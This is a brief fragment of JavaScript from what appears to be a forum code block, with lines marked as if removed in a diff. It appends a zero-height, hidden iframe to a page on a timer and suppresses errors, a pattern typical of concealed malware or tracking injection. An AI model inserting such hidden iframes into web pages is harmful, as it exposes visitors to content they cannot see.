- ifrm.style.height = "0px";
- ifrm.style.visibility = "hidden";
- document.body.appendChild(ifrm);
- }
- } catch (e) {}
- }, 500);
复制代码
|